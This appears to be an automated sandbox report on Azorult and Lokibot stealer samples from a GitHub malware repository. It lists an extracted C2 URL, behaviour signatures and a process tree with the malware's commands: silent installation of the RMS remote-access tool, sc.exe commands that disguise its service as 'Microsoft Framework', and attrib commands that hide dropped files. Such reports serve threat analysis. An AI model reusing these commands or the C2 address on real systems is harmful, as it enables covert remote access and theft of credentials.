Resubmissions

04/05/2025, 14:10

250504-rg3nvavvaw 10

Analysis

  • max time kernel
    202s
  • max time network
    200s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250502-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250502-enlocale:en-usos:windows10-2004-x64system
  • submitted
    04/05/2025, 14:17

General

Malware Config

Extracted

Family

azorult

C2

http://boglogov.site/index.php

Signatures

  • Azorult

    An information stealer that was first discovered in 2016, targeting browsing history and passwords.

  • Azorult family
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 10 IoCs
  • Modifies visiblity of hidden/system files in Explorer 2 TTPs 1 IoCs
  • RMS

    Remote Manipulator System (RMS) is a remote access tool developed by Russian organization TektonIT.

  • Rms family
  • UAC bypass 3 TTPs 5 IoCs
  • Windows security bypass 2 TTPs 1 IoCs
  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Remote Service Session Hijacking: RDP Hijacking 1 TTPs 2 IoCs

    Adversaries may hijack a legitimate user's remote desktop session to move laterally within an environment.

  • Blocks application from running via registry modification 13 IoCs

    Adds application to list of disallowed applications.

  • Drops file in Drivers directory 2 IoCs
  • Modifies Windows Firewall 2 TTPs 23 IoCs
  • Server Software Component: Terminal Services DLL 1 TTPs 1 IoCs
  • Sets file to hidden 1 TTPs 3 IoCs

    Modifies file attributes to stop it showing in Explorer etc.

  • Stops running service(s) 4 TTPs
  • ACProtect 1.3x - 1.4x DLL software 2 IoCs

    Detects file using ACProtect software.

  • ASPack v2.12-2.42 2 IoCs

    Detects executables packed with ASPack v2.12-2.42

  • Checks computer location settings 2 TTPs 10 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 23 IoCs
  • Loads dropped DLL 1 IoCs
  • Modifies file permissions 1 TTPs 62 IoCs
  • Obfuscated with Agile.Net obfuscator 1 IoCs

    Detects use of the Agile.Net commercial obfuscator, which is capable of entity renaming and control flow obfuscation.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 6 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Modifies WinLogon 2 TTPs 1 IoCs
  • Password Policy Discovery 1 TTPs

    Attempt to access detailed information about the password policy used within an enterprise network.

  • Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

  • AutoIT Executable 3 IoCs

    AutoIT scripts compiled to PE executables.

  • Drops file in System32 directory 5 IoCs
  • Hide Artifacts: Hidden Users 1 TTPs 4 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • UPX packed file 8 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in Program Files directory 39 IoCs
  • Launches sc.exe 24 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 64 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Permission Groups Discovery: Local Groups 1 TTPs

    Attempt to find local system groups and permission settings.

  • System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 4 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 7 IoCs
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Gathers network information 2 TTPs 1 IoCs

    Uses commandline utility to view network configuration.

  • Kills process with taskkill 5 IoCs
  • Modifies data under HKEY_USERS 2 IoCs
  • Modifies registry class 9 IoCs
  • NTFS ADS 1 IoCs
  • Runs .reg file with regedit 2 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: LoadsDriver 3 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs
  • Suspicious behavior: SetClipboardViewer 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 15 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SetWindowsHookEx 15 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 6 IoCs

Processes

  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://github.com/Da2dalus/The-MALWARE-Repo
    1⤵
    • Drops file in Program Files directory
    • Checks processor information in registry
    • Enumerates system info in registry
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of WriteProcessMemory
    PID:3088
    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x2c8,0x2cc,0x2d0,0x2c4,0x2e4,0x7ff88ae0f208,0x7ff88ae0f214,0x7ff88ae0f220
      2⤵
        PID:3468
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --always-read-main-dll --field-trial-handle=1928,i,5802416426497656853,2278173549953996623,262144 --variations-seed-version --mojo-platform-channel-handle=2148 /prefetch:3
        2⤵
          PID:4560
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=2120,i,5802416426497656853,2278173549953996623,262144 --variations-seed-version --mojo-platform-channel-handle=2116 /prefetch:2
          2⤵
            PID:2816
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --always-read-main-dll --field-trial-handle=2644,i,5802416426497656853,2278173549953996623,262144 --variations-seed-version --mojo-platform-channel-handle=2700 /prefetch:8
            2⤵
              PID:644
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=3496,i,5802416426497656853,2278173549953996623,262144 --variations-seed-version --mojo-platform-channel-handle=3568 /prefetch:1
              2⤵
                PID:4708
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=3504,i,5802416426497656853,2278173549953996623,262144 --variations-seed-version --mojo-platform-channel-handle=3572 /prefetch:1
                2⤵
                  PID:2388
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --field-trial-handle=4264,i,5802416426497656853,2278173549953996623,262144 --variations-seed-version --mojo-platform-channel-handle=4280 /prefetch:1
                  2⤵
                    PID:4948
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --extension-process --renderer-sub-type=extension --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --field-trial-handle=4284,i,5802416426497656853,2278173549953996623,262144 --variations-seed-version --mojo-platform-channel-handle=4336 /prefetch:2
                    2⤵
                      PID:1252
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=3764,i,5802416426497656853,2278173549953996623,262144 --variations-seed-version --mojo-platform-channel-handle=3780 /prefetch:8
                      2⤵
                        PID:688
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5360,i,5802416426497656853,2278173549953996623,262144 --variations-seed-version --mojo-platform-channel-handle=5100 /prefetch:8
                        2⤵
                          PID:3684
                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5528,i,5802416426497656853,2278173549953996623,262144 --variations-seed-version --mojo-platform-channel-handle=5564 /prefetch:8
                          2⤵
                            PID:1400
                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5520,i,5802416426497656853,2278173549953996623,262144 --variations-seed-version --mojo-platform-channel-handle=5576 /prefetch:8
                            2⤵
                              PID:448
                            • C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe
                              "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5464,i,5802416426497656853,2278173549953996623,262144 --variations-seed-version --mojo-platform-channel-handle=5284 /prefetch:8
                              2⤵
                                PID:2988
                              • C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5464,i,5802416426497656853,2278173549953996623,262144 --variations-seed-version --mojo-platform-channel-handle=5284 /prefetch:8
                                2⤵
                                  PID:1440
                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6284,i,5802416426497656853,2278173549953996623,262144 --variations-seed-version --mojo-platform-channel-handle=6264 /prefetch:8
                                  2⤵
                                    PID:3216
                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6276,i,5802416426497656853,2278173549953996623,262144 --variations-seed-version --mojo-platform-channel-handle=6268 /prefetch:8
                                    2⤵
                                      PID:4460
                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6252,i,5802416426497656853,2278173549953996623,262144 --variations-seed-version --mojo-platform-channel-handle=6428 /prefetch:8
                                      2⤵
                                        PID:1344
                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6244,i,5802416426497656853,2278173549953996623,262144 --variations-seed-version --mojo-platform-channel-handle=6516 /prefetch:8
                                        2⤵
                                          PID:4792
                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6352,i,5802416426497656853,2278173549953996623,262144 --variations-seed-version --mojo-platform-channel-handle=6624 /prefetch:8
                                          2⤵
                                            PID:4240
                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6248,i,5802416426497656853,2278173549953996623,262144 --variations-seed-version --mojo-platform-channel-handle=6776 /prefetch:8
                                            2⤵
                                              PID:636
                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6760,i,5802416426497656853,2278173549953996623,262144 --variations-seed-version --mojo-platform-channel-handle=6940 /prefetch:8
                                              2⤵
                                                PID:1480
                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6948,i,5802416426497656853,2278173549953996623,262144 --variations-seed-version --mojo-platform-channel-handle=5424 /prefetch:8
                                                2⤵
                                                  PID:2780
                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --lang=en-US --service-sandbox-type=collections --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6796,i,5802416426497656853,2278173549953996623,262144 --variations-seed-version --mojo-platform-channel-handle=6960 /prefetch:8
                                                  2⤵
                                                    PID:1088
                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --always-read-main-dll --field-trial-handle=6928,i,5802416426497656853,2278173549953996623,262144 --variations-seed-version --mojo-platform-channel-handle=6312 /prefetch:1
                                                    2⤵
                                                      PID:4252
                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=4548,i,5802416426497656853,2278173549953996623,262144 --variations-seed-version --mojo-platform-channel-handle=4540 /prefetch:8
                                                      2⤵
                                                        PID:3908
                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=4560,i,5802416426497656853,2278173549953996623,262144 --variations-seed-version --mojo-platform-channel-handle=4508 /prefetch:8
                                                        2⤵
                                                          PID:5064
                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=4496,i,5802416426497656853,2278173549953996623,262144 --variations-seed-version --mojo-platform-channel-handle=4504 /prefetch:8
                                                          2⤵
                                                            PID:1540
                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5564,i,5802416426497656853,2278173549953996623,262144 --variations-seed-version --mojo-platform-channel-handle=6924 /prefetch:8
                                                            2⤵
                                                              PID:1728
                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6856,i,5802416426497656853,2278173549953996623,262144 --variations-seed-version --mojo-platform-channel-handle=5348 /prefetch:8
                                                              2⤵
                                                                PID:2708
                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6576,i,5802416426497656853,2278173549953996623,262144 --variations-seed-version --mojo-platform-channel-handle=5624 /prefetch:8
                                                                2⤵
                                                                  PID:228
                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --string-annotations --gpu-preferences=UAAAAAAAAADoAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAABCAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=868,i,5802416426497656853,2278173549953996623,262144 --variations-seed-version --mojo-platform-channel-handle=4568 /prefetch:8
                                                                  2⤵
                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                  PID:2844
                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=4520,i,5802416426497656853,2278173549953996623,262144 --variations-seed-version --mojo-platform-channel-handle=5828 /prefetch:8
                                                                  2⤵
                                                                    PID:2436
                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5212,i,5802416426497656853,2278173549953996623,262144 --variations-seed-version --mojo-platform-channel-handle=5640 /prefetch:8
                                                                    2⤵
                                                                      PID:4244
                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5668,i,5802416426497656853,2278173549953996623,262144 --variations-seed-version --mojo-platform-channel-handle=5628 /prefetch:8
                                                                      2⤵
                                                                        PID:3096
                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=1036,i,5802416426497656853,2278173549953996623,262144 --variations-seed-version --mojo-platform-channel-handle=5736 /prefetch:8
                                                                        2⤵
                                                                          PID:3328
                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe
                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"
                                                                        1⤵
                                                                          PID:4392
                                                                        • C:\Windows\system32\cmd.exe
                                                                          C:\Windows\system32\cmd.exe /c "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
                                                                          1⤵
                                                                            PID:364
                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
                                                                              2⤵
                                                                                PID:5008
                                                                            • C:\Windows\System32\rundll32.exe
                                                                              C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
                                                                              1⤵
                                                                                PID:3328
                                                                              • C:\Users\Admin\Downloads\The-MALWARE-Repo-master\The-MALWARE-Repo-master\Stealer\Lokibot.exe
                                                                                "C:\Users\Admin\Downloads\The-MALWARE-Repo-master\The-MALWARE-Repo-master\Stealer\Lokibot.exe"
                                                                                1⤵
                                                                                • Suspicious use of SetThreadContext
                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                PID:4564
                                                                                • C:\Users\Admin\Downloads\The-MALWARE-Repo-master\The-MALWARE-Repo-master\Stealer\Lokibot.exe
                                                                                  "C:\Users\Admin\Downloads\The-MALWARE-Repo-master\The-MALWARE-Repo-master\Stealer\Lokibot.exe"
                                                                                  2⤵
                                                                                    PID:1412
                                                                                • C:\Users\Admin\Downloads\The-MALWARE-Repo-master\The-MALWARE-Repo-master\Stealer\Azorult.exe
                                                                                  "C:\Users\Admin\Downloads\The-MALWARE-Repo-master\The-MALWARE-Repo-master\Stealer\Azorult.exe"
                                                                                  1⤵
                                                                                  • Modifies Windows Defender Real-time Protection settings
                                                                                  • UAC bypass
                                                                                  • Blocks application from running via registry modification
                                                                                  • Drops file in Drivers directory
                                                                                  • Hide Artifacts: Hidden Users
                                                                                  • Drops file in Program Files directory
                                                                                  • System Location Discovery: System Language Discovery
                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                  • Suspicious use of SetWindowsHookEx
                                                                                  PID:2972
                                                                                  • C:\ProgramData\Microsoft\Intel\wini.exe
                                                                                    C:\ProgramData\Microsoft\Intel\wini.exe -pnaxui
                                                                                    2⤵
                                                                                    • Checks computer location settings
                                                                                    • Executes dropped EXE
                                                                                    • Modifies registry class
                                                                                    • Suspicious use of SetWindowsHookEx
                                                                                    PID:2840
                                                                                    • C:\Windows\SysWOW64\WScript.exe
                                                                                      "C:\Windows\System32\WScript.exe" "C:\ProgramData\Windows\install.vbs"
                                                                                      3⤵
                                                                                      • Checks computer location settings
                                                                                      PID:4336
                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                        C:\Windows\system32\cmd.exe /c ""C:\Programdata\Windows\install.bat" "
                                                                                        4⤵
                                                                                          PID:2880
                                                                                          • C:\Windows\SysWOW64\regedit.exe
                                                                                            regedit /s "reg1.reg"
                                                                                            5⤵
                                                                                            • UAC bypass
                                                                                            • Windows security bypass
                                                                                            • Hide Artifacts: Hidden Users
                                                                                            • Runs .reg file with regedit
                                                                                            PID:4212
                                                                                          • C:\Windows\SysWOW64\regedit.exe
                                                                                            regedit /s "reg2.reg"
                                                                                            5⤵
                                                                                            • Runs .reg file with regedit
                                                                                            PID:2060
                                                                                          • C:\Windows\SysWOW64\timeout.exe
                                                                                            timeout 2
                                                                                            5⤵
                                                                                            • Delays execution with timeout.exe
                                                                                            PID:3564
                                                                                          • C:\ProgramData\Windows\rutserv.exe
                                                                                            rutserv.exe /silentinstall
                                                                                            5⤵
                                                                                            • Executes dropped EXE
                                                                                            • System Location Discovery: System Language Discovery
                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                            • Suspicious use of SetWindowsHookEx
                                                                                            PID:4008
                                                                                          • C:\ProgramData\Windows\rutserv.exe
                                                                                            rutserv.exe /firewall
                                                                                            5⤵
                                                                                            • Executes dropped EXE
                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                            • Suspicious use of SetWindowsHookEx
                                                                                            PID:3372
                                                                                          • C:\ProgramData\Windows\rutserv.exe
                                                                                            rutserv.exe /start
                                                                                            5⤵
                                                                                            • Executes dropped EXE
                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                            • Suspicious use of SetWindowsHookEx
                                                                                            PID:3004
                                                                                          • C:\Windows\SysWOW64\attrib.exe
                                                                                            ATTRIB +H +S C:\Programdata\Windows\*.*
                                                                                            5⤵
                                                                                            • Views/modifies file attributes
                                                                                            PID:1192
                                                                                          • C:\Windows\SysWOW64\attrib.exe
                                                                                            ATTRIB +H +S C:\Programdata\Windows
                                                                                            5⤵
                                                                                            • System Location Discovery: System Language Discovery
                                                                                            • Views/modifies file attributes
                                                                                            PID:2060
                                                                                          • C:\Windows\SysWOW64\sc.exe
                                                                                            sc failure RManService reset= 0 actions= restart/1000/restart/1000/restart/1000
                                                                                            5⤵
                                                                                            • Launches sc.exe
                                                                                            • System Location Discovery: System Language Discovery
                                                                                            PID:868
                                                                                          • C:\Windows\SysWOW64\sc.exe
                                                                                            sc config RManService obj= LocalSystem type= interact type= own
                                                                                            5⤵
                                                                                            • Launches sc.exe
                                                                                            PID:2756
                                                                                          • C:\Windows\SysWOW64\sc.exe
                                                                                            sc config RManService DisplayName= "Microsoft Framework"
                                                                                            5⤵
                                                                                            • Launches sc.exe
                                                                                            PID:1480
                                                                                      • C:\ProgramData\Windows\winit.exe
                                                                                        "C:\ProgramData\Windows\winit.exe"
                                                                                        3⤵
                                                                                        • Executes dropped EXE
                                                                                        • Checks processor information in registry
                                                                                        • Modifies registry class
                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                        • Suspicious use of SetWindowsHookEx
                                                                                        PID:5032
                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                          C:\Windows\system32\cmd.exe /c C:\Programdata\Install\del.bat
                                                                                          4⤵
                                                                                            PID:4796
                                                                                            • C:\Windows\SysWOW64\timeout.exe
                                                                                              timeout 5
                                                                                              5⤵
                                                                                              • Delays execution with timeout.exe
                                                                                              PID:4784
                                                                                      • C:\programdata\install\cheat.exe
                                                                                        C:\programdata\install\cheat.exe -pnaxui
                                                                                        2⤵
                                                                                        • Checks computer location settings
                                                                                        • Executes dropped EXE
                                                                                        • System Location Discovery: System Language Discovery
                                                                                        • Suspicious use of SetWindowsHookEx
                                                                                        PID:5092
                                                                                        • C:\ProgramData\Microsoft\Intel\taskhost.exe
                                                                                          "C:\ProgramData\Microsoft\Intel\taskhost.exe"
